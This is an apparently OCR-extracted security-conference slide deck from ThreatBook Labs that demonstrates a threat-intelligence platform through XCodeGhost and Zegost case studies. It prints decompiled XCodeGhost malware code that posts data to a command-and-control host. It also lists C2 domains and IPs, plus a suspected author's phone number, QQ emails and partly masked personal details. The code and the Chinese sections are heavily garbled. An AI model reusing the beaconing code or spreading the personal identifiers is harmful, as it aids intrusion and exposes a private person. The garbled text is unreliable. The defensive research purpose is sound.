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Empower researchers with enriched
data to find the needle in the
haystack

Hong Jia

ThreatBook Labs, USA

Feng Xue

ThreatBook Technology, China
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Introduction

ThreatBook Labs:

A research lab focusing threat response and research,
Located in Seattle, Washington, USA.
Funded by ThreatBook Technology, Beijing, China

Hong Jia:
Head of ThreatBook Labs

Feng Xue:
CEO of ThreatBook Technology
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Our research workflow
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The challenges researchers face

Benefits:

* Better protection coverage based on faster updated data e 200 + threat data source

* More high confident decisions based on correlations among e 500K+ daily unique
different types of data suspicious samples/URLs

* Data driven research and machine learning e 20M + daily updated

* Always can find something looks interesting when start to hunt suspicious IP/Domain

e 10M + scanning results daily
e 400M + whitelist
e Billions of domains with

* More low confident decisions generated by automation need m||||0f\S of.newly re.gIStered
to be reviewed and unhandled domain daily (Whois/DNS)

e 5+ years whois historical data

Meanwhile, researchers face:

* More time needed to analyze and review each case since
there are more related data that are surfaced

* More interesting cases surfaced and need better prioritization

* Congsistent feedback needed from researchers to assist
automation system with making better decisions
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A threat analysis platform our
researchers ask for:

« Multiple vectors of threat data

« Deterministic decision in threat data attributes level
« Threat data correlation tagging

« Suppress noisy info

« Update with researchers’ consistent feedback

« Conclude with most reasonable contextual story behind the
threat data
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Analysis platform case study |

Threat family: XCodeGhost

« Trojanized version of Xcode

« Disguised as an official Xcode and uploaded to 3" party cloud storage like
Baidu yun (Baidu cloud storage service)

« Downloaded and used by Apple app developer to develop Apple app,
generating more than 4000 infected apps

* Impacting about 100million iPhone users, most of them in China.
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Analysis platform case study I

V25 = obje_nsgSend(20BJC_CLASS___NSURL, "URLHithString:", CFSTR{"http://init.icloud-analysis.con”)); R T b e e asend(uts. “stringBuAppendingString:~. CFSTRC~i)):
26 = objc_retainﬂutore]easedReturnUalue(LZS]; w51 = (wvoid =)objc_retainAutoreleasedReturnUalue{uvse);
u27 = obic me S@Hd[ objoc_release(vis) ; _ ]
J¢_nsg uS2 = objcoc_msgSend(uS1, “stringByAppendingString:”, CFSTR( " n"));
&0BJC_CLASS___NSMutableURLRequest, uS3 = (uoid =Jobjc_retainAutoreleasedReturnUalue(us2);
" . . o o objc_release(usl);
;meﬂW%mmM%hwiuthhwﬂ., Usﬂ T objo_megSend(uSE, “stringByAppendingString:”, CFSTR("i"));
Uée, uSS5 = (uvoid x*)objec_retainAutoreleasedReturnUalue(uS4) ;
1 objc_release(us3);
! uSEe = objc_msgSend(usSS, TstringByRAppendingsString: T, CFSTR("t7));
e: UST = (woid =)objc_retainfAutoreleasedReturnValue(vsSE) ;
13”835855]’ oggc_reé?389(0§5)é( ST Tstri ByRA di Stri - CFSTR(C™.7))
. . . - u = objc_msgSend(u . strin endingString: ™, - ;
u28 = (void x]ob]c_reta]nﬂutore]easedReturnUalue(Lz|); us9 = (ug:i.d x?obj c_r'eta:i.nnutorglgagzdReturnUalue(u58) :
objc_nsgSend(u28, “setHTTPHethod:", CFSTR("POST")); objc_release(usST7); . . . . . R
u29 = obi Send(u17. "1 th”]' uBE = ob](_:_msgSer_\d(USS, . stringByAppendingString: ., CFSTR{"c™)):
vid = o ]IC_NSQ en [J f, leng ' i i i usl = (uoid *=)objc_retainAutoreleasedReturnUalue(uso) ;
u38 = objc_msgSend(&0BJC_CLASS___NSString, “stringWithFormat:", CFSTR{*Zlu"), v2d); objc_release(USSJ;( st CESTRC .
29 . RS : . 62 = objc_msgSend(vEl, “stringByAppending ring: . e H
U". - ob]c_retalnﬂutore]easedﬂeturnUalue(L:_BJ], :83 = (ugid =Jobjc_retainAutoreleasedReturnUalue(vE2) ;
objc_nsgSend{u28, “setlalue: forHTTPHeaderField:", u31, CFSTR({"Content-Length")); objc_release(usl);
objc re]ease(m]- usd = obj 9_msg$er_\d( UB3, T"stringByAppendingstring: T, CFSTR( "a"));
bjc-msgSend(kzs "‘setHTTPBodg . LH'] uis = (ti-o:l.d BE)gggc_reta:l.nnutoreleasedReturnUalue(USH) H
[ , Ha. H o c_release(v H
if  (unsigned int)objc_nsgSend{u39, "isEqualToString:", CFSTR("launch)) & BxFF cee = objc_msgSend(uES, “stringByAppendingString:”, CFSTR("s"));
.g . ] 155 L L . o uBsY = (uvoid =Jobjc_retainAutoreleasedReturnUalue(uEs) ;
Il (unsigned int)objc_msgSend(v39, “isEqualToString:", CFSTR("running")) & BxFF ) objc_release(UsS) ;
u32 = objc_nsgSend(&0BJC_CLASS___NSURLConnection, “connectionilithRequest:delegate:”, u28, u40); uB8 = objc_msgSend(uET7, “stringByAppendingString:”., CFSTR({("h")):
olse - - uB9 = (uvoid x)objc_retainAutoreleasedReturnUalue(uss) ;
objc_release(uvsr);
u32 = obje_msgSend(&0BJC_CLASS___NSURLConnection, “connectionbiithRequest:delegate:”, v2g, 6); UTO = objc_msgSend(vEs, “stringByAppendingString:”. CFSTR("-")):
9%z obi taindutorel dReturnlal ) url = (woid =)objc_retainfAutoreleasedReturnUalue(vra) ;
v33 = obje_retainAutoreleasedReturnlalue(v3z); objc_release(uss)
Db]C_F@]EESG(kB]; uT2 = obj ?_msgSer:nd(UT1 . “stringByAppendingString: T, CFSTR("a™"));:
ubjc_re]ease(kzs]; UuT3 = (uvoid =)objc_retainAutoreleasedReturnUalue(ur2);

Three remote CnC servers identified:
» Init.crash-analytics.com

» Init.icloud-analysis.com
» Init.icloud-diagnostics.com
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init.icloud-analysis.com Analysis Report

Registrar
Name Server  sinkhole-00 shadowserver.org; sinkhole-01 shadowserver.org; sinkhole-02 shadowserver.org, sinkhole-03 shadowserver.org; sinkhole-
04 shadowserver org

Alex Rank NIA

Tags

Intelligence IP sub_domain_list Whois Visualization

IP address

IP address 178.162.203.202 ( 1000+ domains share this address ) E
Location Germany, Heessen Frankfurt (leaseweb.com)

ASN 28753 ( LEASEWEB-DE Leaseweb Deutschland GmbH, DE )
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182.92 101.29 ik it

IP address 182.92.101.29 ( 0 domains share this ip )

Location China,Beijing, Beijing (ALMNUM)
ASMH 37963 | CMMIC-ALIBABA-CH-MET-AP Hangzhou Alibaba Advertising Co. Ltd., CM }
Tags

Threat intelligence Reverse IP Visualization

D'omiain list which share same ip

No data

D'omains History

Time Diomain

2015-07-02 kytr.pub

2015-03-18 Zshoubang.com E
2015-03-03 icloud-analysis.com E
2015-01-30 wwrw. 2shoubang.com
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k_\ftr.pub Analysis Report

Registrar

Xin Met Technology Corporation

Mame Server  flginsi.dnsped net; f1g1ins2 dnspod.net

Alex Rank MIA

Intelligence IP sub_domain_list

wssdkong

xn-uouodasBklBe1r3b.on

582qgiche.com

kytr pub

TTa56044 1@qq com

1235724069 takayandy

cloud-diagnostics.com

madoudsl com

phom, 289

Whois Visualization

tiao2shou.com

o

gu2shou com . allsdk. omg
2shoubang.com 0
ascode.arg
gdczwv com

an-unupiasSk18e1rib.cn
bang2shou.com @

allsdk com. cn

hbocast com
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sd kdev.org Analysis Report

Reqistrar
Name Server
Alex Rank
Tags

Intelligence

GoDaddy.com, LLC

ns67.domaincontrol.com; ns68.domaincontrol.com

N/A

[ matware |

IP sub_domain_list Whois Visualization

Current registration information

Registrant

Registration
Organization

Email
Address
Phone
Creation Date
Expire Date
Updated Date
Registrar

Name Server

long wang ( Generic registrant name no longer appears relevant domain. )

778560441@qq.com ( Related domain name 16 )

+86.13276422520

2015-04-07 00:00:00
2016-04-07 00:00:00
2015-06-07 00:00:00

GoDaddy com, LLC

ns67.domaincontrol.com;, ns68 domaincontrol.com

8
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XcodeGhost

10C Visualization

init.icloud-analysis.com

Threat Intelligence
® Domain
©) Filehash
- i URL
e crash-analytics.com 139.162 3167 (e}

Other

778560441@qgg.com

init.icloud-diagnostics.com Tips
» Ifnodes are too much, only 50 will
182.92.101.29 be showed

@ = Click node for more detail

icloud-analysis.com

@ init.crash-analytics.com

50.63.202 .48

@

g iist SEOUL
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@ ss0537 55580507,86
2shoubang.com

O 860532 55580550
592qiche.com

O 86053288996513
kytr.pub

@ ssos3266570085

libocast.com
O O

[Shupsazg):] [Shuws:iflEr:]
O @ 860532 01394435,86
778560441@qq.com madou360.com

O O O O O

init.icloud-analysis.com 52.4.74.88 icloud-analysis.com 182.92.101.29 www.2shoubang.com

© s653288996513
EiEP qdczvv.com

O O

[Shor:slly [Shor.::sllg
O 8613276422520
sdkdev.org

O 860537 55580507
tiao2shou.com

O

=007
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Name: Wang ***

QQ number: 778***@qqg.com, 473***@qgqg.com
Cell Phone contact: 132****520

Home Phone contact: 0532-6657****

Internet ID used: Zhou ****, Wang ****, ****\\ang

(778***@qg.com has been registered under a university
student at ShanDong Province)
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Analysis platform case study Il:
Threat family: Zegost

» Active Backdoor Trojan in China, targeting e-commence business
» Steal infected system info (IP, System Name, OS version)

« Execute certain function based on command retrieved from a remote server
« Capture video or audio
« Start Terminal Services
« Manage system services
* Log keystrokes
« Update or uninstall the backdoor service

In
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i0OC Visualization

http://tt. 455465 /1/3.dll - )
pilltt 455283 com Threat Intelligence

vebxss net/1/3 dll e Domain
e O File hash
hitp vans kuaiyunds convadmin118/ftp il bisoio.0i 956308460 @qq.com @ URL
| -~ 13
tt. 455465.com v
@ Other
http./f 1455465 comva.zip
Tips
yk.syncn.org spacesyn00@gmail com spacework co « If nodes are too much, only 50 wil
be showed

« Click node for more detail

http://ad.qhxws.com/bc.zip

qhxws_com
0 xiasidiele.com

webxss. net
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BTIRR

BEOBRR(EOESERS |E)BTESEGE 7 LT HNES, SRSETHHEDEE SFRETE | BifEER
®, EETUHEDEEEEFIIBTH SR Mk, BiINMEFETHT | ERITANMTIEFEE.

TE REEET65%EE60FAalrE | RilEERmEatR.
B HES-sEresx2lREN, L5 TR BE. @5 B2 8. 3. SREESER.
BREARE

FEAF = BERAAE = 2. 8. 5 - BTEE

EFE: spac

HBF{EfHE: 956308460@qq.com

LEBFE: BTEE

FattgSE: www.btsoso.org
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B 956308460 el

Pl #FHE MHE ME &F BR 9 #E XE BEE»

BEAEHERRRA RE63 ¥ETE

F[EE - =hh48tiE: 2013F11 8308
2n13¢11ﬁ305 - 956308460 TARIS A .LE BREF19:25 =F|X#- 12 X WV INBRESBN T
F 30 50504 F 4225 Mmh et s Am UID 5242 304 927 gham 422 #
www hegouvip.com/threa. . - - HEWEE - 68% I 1F

F[EE - =hh8tiE: 2013F8H258
2013¢8H255 - 956308460 TARIE RO FM2015-9-1 1616 EE X2 1 X [LV.3)®EE
Hll TE# 50305+ MTESMH ot Ae UID 5242 04 920 Mg .
www.hegouvip.com/threa... - - EEWEE - 68%F1F

- Powered by HUC

B4 TR T ’%[IE&I 51% livchuanquan20 %EIAHIET TEF2BARESF 25T 20
liuchuanquan20 856308460 .

www.cnhonkerarmy com/f._. ~ - EEHEE - 80%5F1F
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ve+H+IHE 1-5 1B A1 - STVIP Bt _Fam

8E[EIE - =0hEtE: 2013F11H158

2013F11H158 - 956308460 TARSR.LF AW2015-9-1 15:16 FBIX L 11 X [LV.3NEE
BEI TEH 50305F M175M™H cEitd Aw UID 5242 3040 920 &Mam
www.hegouvip.com/threa... ~ - EEHREE - 68% 47 i

ATT - 4D

20135108118 - 956308460 3T 2013-10-25 12:53:02 M £ F L H 3T a740772927
EET 2013-11-1 12:03:16 BEO5 05 NS MRS NE0E0E B 123 [4] 56

www.hegouvip.com/archi... ~ - EEHEE - 68%IF T

201310838 - 956308460 TARYEH & ZM2015-9-1 1516 EE|FE: 11 &£ [LV.I)R LS
Bl TE# 50305+ 417509t oAt Am UID 5242 {09 520 5T
www hegouvip.com/threa. .. - - BEWE - 68% 31T
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Q&A

more questions?
Hong Jia: hongjia@threatbook.cn
Feng Xue: xuefeng@threatbook.cn

alh.
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